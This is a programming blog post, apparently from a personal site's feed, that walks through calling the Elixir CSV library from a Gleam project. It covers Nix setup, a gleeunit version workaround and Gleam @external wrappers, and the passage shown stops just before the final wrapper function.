&lt;p>One of Gleam&amp;rsquo;s flagship features is that it can call Elixir code and libraries, but I couldn&amp;rsquo;t find any examples of how to do that. I wrote a simple example of calling an Elixir library from a Gleam project, based on my beginner&amp;rsquo;s understanding of the Gleam/Elixir/Erlang ecosystem.&lt;/p>
&lt;h2 id="install-dependencies">Install dependencies&lt;/h2>
&lt;p>For this example, I&amp;rsquo;m using&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;ve been experimenting a bit with Gleam and Elixir lately as part of &lt;a href="https://mtlynch.io/notes/which-new-language/">my search for a new programming language&lt;/a>.&lt;/p>
&lt;p>One of Gleam&amp;rsquo;s flagship features is that it can call Elixir code and libraries, but I couldn&amp;rsquo;t find any examples of how to do that. I wrote a simple example of calling an Elixir library from a Gleam project, based on my beginner&amp;rsquo;s understanding of the Gleam/Elixir/Erlang ecosystem.&lt;/p>
&lt;h2 id="install-dependencies">Install dependencies&lt;/h2>
&lt;p>For this example, I&amp;rsquo;m using&lt;/p>
&lt;ul>
&lt;li>Gleam 1.10.0&lt;/li>
&lt;li>Erlang 27.3.4&lt;/li>
&lt;li>Elixir 1.18.3&lt;/li>
&lt;/ul>
&lt;p>You can install these dependencies however you want. I use Nix to manage my dependencies, so I install everything by creating a &lt;code>flake.nix&lt;/code> as follows.&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Dev environment for gleam-call-elixir-simple&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 27.3.4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> erlang-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/8406224e30c258025cb8b31704bdb977a8f1f0&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 1.10.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gleam-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/3866ad91cfc172f08a6839def503d8fc2923c603&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> self,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> erlang-nixpkgs,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gleam-nixpkgs,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } @ inputs:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system: &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> erlang = erlang-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.beam27Packages.erlang;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> elixir = erlang-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.beam27Packages.elixir;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gleam = gleam-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.gleam;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inotify-tools = erlang-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.inotify-tools;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default =
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> erlang-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.mkShell
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> erlang
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> elixir
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gleam
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inotify-tools
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> echo &amp;#34;erlang&amp;#34; $(erl -eval &amp;#39;erlang:display(erlang:system_info(otp_release)), halt().&amp;#39; -noshell)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> gleam --version
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> formatter = erlang-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.alejandra;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/notes/gleam-call-elixir/flake.nix" download class="download-raw-button">download flake.nix&lt;/a>
 &lt;/div>


&lt;p>If I run &lt;code>nix develop&lt;/code>, I see that erlang and Gleam are available in my shell:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>erlang &lt;span style="color:#ed9d13">&amp;#34;27&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gleam 1.10.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="create-the-project">Create the project&lt;/h2>
&lt;p>I create a project using &lt;code>gleam new&lt;/code>. I&amp;rsquo;m hosting the project &lt;a href="https://codeberg.org/mtlynch/gleam-call-elixir-simple">outside of Github&lt;/a>, so I add &lt;code>--skip-github&lt;/code> to skip the Github-specific files Gleam adds by default:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PROJECT_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;call_elixir&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gleam new --name &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PROJECT_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> --skip-github .
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="sidequest-working-around-a-gleam-package-bug">Sidequest: Working around a Gleam package bug&lt;/h2>
&lt;p>From here, I try to run the boilerplate code that &lt;code>gleam new&lt;/code> generated for me, but it fails:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Resolving versions
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Downloading packages
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Downloaded &lt;span style="color:#3677a9">2&lt;/span> packages in 0.01s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling gleam_stdlib
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: Incompatible Gleam version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>The package &lt;span style="color:#ed9d13">`&lt;/span>gleeunit&lt;span style="color:#ed9d13">`&lt;/span> requires a Gleam version satisfying 1.11.0 &amp;lt;= v but you are using v1.10.0.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The issue is that &lt;code>gleam new&lt;/code> added &lt;a href="https://hex.pm/packages/gleeunit">&lt;code>gleeunit&lt;/code>&lt;/a> 1.4.0 as a dependency, but that package &lt;a href="https://github.com/lpil/gleeunit/blob/v1.4.0/gleam.toml#L7">depends on Gleam 1.11.0&lt;/a>, which is newer than my local version of Gleam (1.10.0).&lt;/p>
&lt;p>Someone else ran into this same issue and filed a bug on Github &lt;a href="https://github.com/gleam-lang/gleam/issues/4673#issuecomment-2952936610">just an hour before I hit this&lt;/a>.&lt;/p>
&lt;p>I can work around this by forcing Gleam to downgrade to gleeunit 1.3.1:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam add --dev gleeunit@1.3.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Resolving versions
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Downloading packages
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Downloaded &lt;span style="color:#3677a9">1&lt;/span> package in 0.00s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Added gleeunit v1.3.1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then &lt;code>gleam run&lt;/code> and &lt;code>gleam test&lt;/code> work as expected:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling gleeunit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling call_elixir
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.28s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running call_elixir.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hello from call_elixir!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.01s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running call_elixir_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished in 0.006 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> tests, &lt;span style="color:#3677a9">0&lt;/span> failures
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="install-an-elixir-package">Install an Elixir package&lt;/h2>
&lt;p>I want to pick a package that has simple semantics, so how about a CSV library?&lt;/p>
&lt;p>The hex package manager shows that &lt;a href="https://hex.pm/packages?search=csv&amp;amp;sort=recent_downloads">the most popular CSV package&lt;/a> is called &lt;a href="https://hex.pm/packages/csv">CSV&lt;/a>, so I install that:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam add csv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Resolving versions
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Downloading packages
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Downloaded &lt;span style="color:#3677a9">1&lt;/span> package in 0.00s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Added csv v3.2.2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Sidenote: There&amp;rsquo;s a Gleam-native CSV library called &lt;a href="https://hex.pm/packages/gsv">gsv&lt;/a>, but I&amp;rsquo;m using an Elixir library instead so I can practice calling a non-Gleam library.&lt;/p>
&lt;h2 id="testing-the-csv-package-with-elixir">Testing the CSV package with Elixir&lt;/h2>
&lt;p>First, I need to understand how to call the CSV package APIs at all, and then I can write an Elixir wrapper for the APIs I need.&lt;/p>
&lt;p>I want to call the &lt;a href="https://hexdocs.pm/csv/3.2.2/CSV.html#encode/2">&lt;code>CSV.encode&lt;/code> function&lt;/a>, which has this signature:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-elixir" data-lang="elixir">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">@spec&lt;/span> encode(&lt;span style="color:#447fcf;text-decoration:underline">Enumerable&lt;/span>.t(), [encode_options()]) :: &lt;span style="color:#447fcf;text-decoration:underline">Enumerable&lt;/span>.t()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So, &lt;code>encode&lt;/code> has two parameters:&lt;/p>
&lt;ol>
&lt;li>An object that implements the &lt;code>Enumerable&lt;/code> protocol.&lt;/li>
&lt;li>(optional) An &lt;a href="https://hexdocs.pm/csv/3.2.2/CSV.html#t:encode_options/0">&lt;code>encode_options()&lt;/code> type&lt;/a>.&lt;/li>
&lt;/ol>
&lt;p>And it returns an object that implements the &lt;code>Enumerable&lt;/code> protocol.&lt;/p>
&lt;p>I don&amp;rsquo;t know Elixir, so I start &lt;code>iex&lt;/code>, the interactive Elixir shell, to understand the semantics:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>iex
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, I install the CSV package within &lt;code>iex&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-elixir" data-lang="elixir">&lt;span style="display:flex;">&lt;span>iex&amp;gt; &lt;span style="color:#447fcf;text-decoration:underline">Mix&lt;/span>.install([&lt;span style="color:#ed9d13">:csv&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf;text-decoration:underline">Resolving&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">Hex&lt;/span> dependencies...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf;text-decoration:underline">Resolution&lt;/span> completed &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#3677a9">0.008&lt;/span>s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">New&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> csv &lt;span style="color:#3677a9">3.2&lt;/span>.&lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* &lt;span style="color:#447fcf;text-decoration:underline">Getting&lt;/span> csv (&lt;span style="color:#447fcf;text-decoration:underline">Hex&lt;/span> package)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, I try one of the &lt;a href="https://hexdocs.pm/csv/3.2.2/CSV.html#encode/2-examples">examples&lt;/a> from the CSV package documentation:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-elixir" data-lang="elixir">&lt;span style="display:flex;">&lt;span>iex&amp;gt; [&lt;span style="color:#ffa500">~w(a b)&lt;/span>, &lt;span style="color:#ffa500">~w(c d)&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[[&lt;span style="color:#ed9d13">&amp;#34;a&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;b&amp;#34;&lt;/span>], [&lt;span style="color:#ed9d13">&amp;#34;c&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;d&amp;#34;&lt;/span>]]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iex&amp;gt; |&amp;gt; &lt;span style="color:#447fcf;text-decoration:underline">CSV&lt;/span>.encode
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">#Function&amp;lt;61.117496853/2 in Stream.transform/3&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iex&amp;gt; |&amp;gt; &lt;span style="color:#447fcf;text-decoration:underline">Enum&lt;/span>.take(&lt;span style="color:#3677a9">2&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#ed9d13">&amp;#34;a,b&lt;/span>&lt;span style="color:#ed9d13">\r\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;c,d&lt;/span>&lt;span style="color:#ed9d13">\r\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I don&amp;rsquo;t understand &lt;a href="https://hexdocs.pm/elixir/1.18.4/sigils.html">Elixir&amp;rsquo;s sigil syntax&lt;/a> yet, and I don&amp;rsquo;t like examples with &amp;ldquo;a&amp;rdquo; and &amp;ldquo;b&amp;rdquo;, so here&amp;rsquo;s a rewrite that feels more intuitive to me:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-fallback" data-lang="fallback">&lt;span style="display:flex;">&lt;span>iex&amp;gt; CSV.encode([[&amp;#34;movie&amp;#34;, &amp;#34;rating&amp;#34;], [&amp;#34;The Godfather&amp;#34;, 10], [&amp;#34;Gigli&amp;#34;, 2]])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>#Function&amp;lt;61.117496853/2 in Stream.transform/3&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iex&amp;gt; |&amp;gt; Enum.to_list()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[&amp;#34;movie,rating\r\n&amp;#34;, &amp;#34;The Godfather,10\r\n&amp;#34;, &amp;#34;Gigli,2\r\n&amp;#34;]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iex&amp;gt; |&amp;gt; IO.puts()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>movie,rating
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>The Godfather,10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Gigli,2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>:ok
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, so it looks like &lt;code>CSV.encode&lt;/code> takes in a list of list of strings and returns an &lt;code>Enumerable&lt;/code> of strings.&lt;/p>
&lt;h2 id="create-a-gleam-wrapper-for-the-elixir-package">Create a Gleam wrapper for the Elixir package&lt;/h2>
&lt;p>Now that I understand the semantics of &lt;code>CSV.encode&lt;/code>, I need to write a wrapper function to call it from Gleam.&lt;/p>
&lt;p>The main challenge of writing a Gleam wrapper for an Elixir function is that the two languages don&amp;rsquo;t have matching types. Gleam uses more strict static typing, whereas Elixir uses more flexible dynamic typing.&lt;/p>
&lt;h3 id="wrapping-csvencode">Wrapping &lt;code>CSV.encode&lt;/code>&lt;/h3>
&lt;p>I want to call the &lt;code>CSV.encode&lt;/code> function, whose signature, again, looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-elixir" data-lang="elixir">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">@spec&lt;/span> encode(&lt;span style="color:#447fcf;text-decoration:underline">Enumerable&lt;/span>.t(), [encode_options()]) :: &lt;span style="color:#447fcf;text-decoration:underline">Enumerable&lt;/span>.t()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It doesn&amp;rsquo;t look like &lt;a href="https://hexdocs.pm/gleam_stdlib/0.60.0/index.html">the Gleam standard library&lt;/a> has any equivalent of Elixir&amp;rsquo;s &lt;code>Enumerable&lt;/code>, so I need to use another Elixir API to convert from &lt;code>Enumerable&lt;/code> to something Gleam understands.&lt;/p>
&lt;p>&lt;a href="https://hexdocs.pm/elixir/1.18.4/Enum.html#to_list/1">&lt;code>Enum.to_list&lt;/code>&lt;/a> seems like the best option, as it returns an Elixir built-in &lt;code>list&lt;/code> type, and Gleam has an equivalent &lt;a href="https://hexdocs.pm/gleam_stdlib/0.60.0/gleam/list.html">&lt;code>List&lt;/code> type&lt;/a>.&lt;/p>
&lt;p>So, first, I&amp;rsquo;ll define a Gleam wrapper function for the Elixir &lt;code>CSV.encode&lt;/code> API:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Create a custom Gleam type to represent the type we receive from Elixir.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ElixirEnumerable&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#bbb">@external&lt;/span>(erlang,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Elixir.CSV&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;encode&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">csv_encode&lt;/span>(data:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)))&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ElixirEnumerable&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;a href="https://tour.gleam.run/everything/#advanced-features-externals">&lt;code>@external&lt;/code> attribute&lt;/a> allows me to call Elixir code from Gleam. Gleam, Elixir, and Erlang all can compile to bytecode that runs on the &lt;a href="https://en.wikipedia.org/wiki/BEAM_(Erlang_virtual_machine)">BEAM virtual machine&lt;/a>. Within BEAM, the &lt;code>CSV.encode&lt;/code> function appears under the namespace &lt;code>Elixir.CSV&lt;/code>, so that&amp;rsquo;s why I need to specify &lt;code>Elixir&lt;/code> in the &lt;code>@external&lt;/code> attribute.&lt;/p>
&lt;p>I define the input paramater as a Gleam list of list of strings (&lt;code>List(List(String)))&lt;/code>, which is compatible with Erlang&amp;rsquo;s &lt;code>Enumerable&lt;/code> type.&lt;/p>
&lt;p>&lt;code>CSV.encode&lt;/code> returns an Elixir &lt;code>Enumerable&lt;/code>, but I don&amp;rsquo;t know a Gleam equivalent to that, so I define a custom type of &lt;code>ElixirEnumerable&lt;/code>.&lt;/p>
&lt;p>Gleam code can&amp;rsquo;t do anything with &lt;code>ElixirEnumerable&lt;/code> because it doesn&amp;rsquo;t have any data that Gleam knows how to access natively, so I need a way to convert &lt;code>ElixirEnumerable&lt;/code> to a Gleam-native type.&lt;/p>
&lt;h3 id="converting-an-elixir-enumerable-to-a-gleam-list">Converting an Elixir &lt;code>Enumerable&lt;/code> to a Gleam &lt;code>List&lt;/code>&lt;/h3>
&lt;p>To convert from Elixir&amp;rsquo;s &lt;code>Enumerable&lt;/code> type to a Gleam &lt;code>List&lt;/code>, I declare another external function for converting the result:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#bbb">@external&lt;/span>(erlang,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Elixir.Enum&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;to_list&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">enum_to_list&lt;/span>(elixir_enum:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ElixirEnumerable&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here, I&amp;rsquo;m using Elixir&amp;rsquo;s &lt;a href="https://hexdocs.pm/elixir/1.18.4/Enum.html#to_list/1">Enum.to_list function&lt;/a> to convert the &lt;code>ElixirEnumerable&lt;/code> to an &lt;a href="https://hexdocs.pm/elixir/1.16.2/List.html">Elixir List type&lt;/a>, which seems to match the &lt;a href="https://hexdocs.pm/gleam_stdlib/0.60.0/index.html">Gleam &lt;code>List&lt;/code> type&lt;/a>.&lt;/p>
&lt;h3 id="creating-a-gleam-friendly-wrapper">Creating a Gleam-friendly wrapper&lt;/h3>
&lt;p>Now that I&amp;rsquo;ve written functions that can wrap the Elixir APIs I want, it&amp;rsquo;s time to tie it all together with a function I&amp;rsquo;ll expose to my Gleam app from this module:&lt;/p>
